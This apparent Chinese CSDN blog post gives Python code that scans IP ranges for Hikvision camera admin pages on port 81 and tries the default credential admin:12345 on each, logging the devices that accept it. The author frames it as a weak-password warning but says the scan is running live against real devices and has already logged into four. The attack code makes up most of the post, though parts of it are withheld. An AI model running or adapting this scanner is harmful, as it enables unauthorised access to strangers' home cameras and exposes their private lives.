版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/xujiahui320582/article/details/78821853
文章来源地址(获取源代码请访问):https://xujh.top/
随着网络的迅速发展,现在物联网是个潮流,许多人的家中都装了网络摄像头,这种摄像头可以用ip远程访问并监控,自从前几年海康威视的弱密码漏洞的爆出,摄像头的安全性成了热门话题,因此,我将在这篇文章中模拟用弱密码登陆海康威视的管理界面,来一波模拟攻击,为了提醒大家的是,弱密码的危害很大,无论什么服务,大家如果还用弱密码的话就请赶快修改吧,因为你的隐私很同容易暴露。
好了,现在进入正题
目的
- 扫描全国的ip,自动识别有海康威视后台管理界面的ip
- 自动用弱密码模拟登陆后台管理界面
- 记录使用弱密码的ip
步骤
获得全国所有的ip,这一步可以通过百度。
扫描ip的81端口,若打开,则使用弱密码模拟登陆一下
扫描81端口,判断是否打开
def scan(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
s.settimeout(1)
try:
result = s.connect_ex((ip, port))
if result == 0:
exploit(ip)
else:
pass
s.close()
except socket.error as e:
s.close()
print e
若打开,则模拟登陆
def exploit(ip):
url = 'http://' + ip + ':' + str(port)
userpwd = 'Basic YWRtaW46MTIzNDU='
headers = {
'X-Requested-With': 'XMLHttpRequest',
'Refer': url + '/doc/page/login.asp',
'If-Modified-Since': "0",
"Authorization": userpwd
}
try:
r = requests.get(url=url + '/ISAPI/Security/userCheck', headers=headers, timeout=5)
if r.status_code == 200 and r.text.find('OK') != -1:
logging.critical('{b8c66bcbce874cbcdfdaa03ff0f908635b9ef0379cd01189ad5fe3f67980b247}s : succeed' {b8c66bcbce874cbcdfdaa03ff0f908635b9ef0379cd01189ad5fe3f67980b247} ip)
return True
else:
return False
except Exception, e:
return False
总结
就是这么简单,一个扫描全国ip并验证摄像头的简单脚本已经写好了,后期需要改进的就是这个脚本的性能了,这个脚本现在在cloudflexy这家垃圾主机商的vps上跑着,这里讲个插曲:我刚开始开的线程为1000,导致商家直接判定为a dos attack,后来,发了工单,将线程数调整到100才没被强制关机器。
截至我写这篇文章的时候,只有4个ip被成功登陆
没办法,这家机器太垃圾了,线程只能开这么大,得扫个几天才能扫完吧。
代码写得比较烂,并且这篇文章旨在揭示弱密码的危害,并不是想去攻击什么,所以代码就不全放上来了。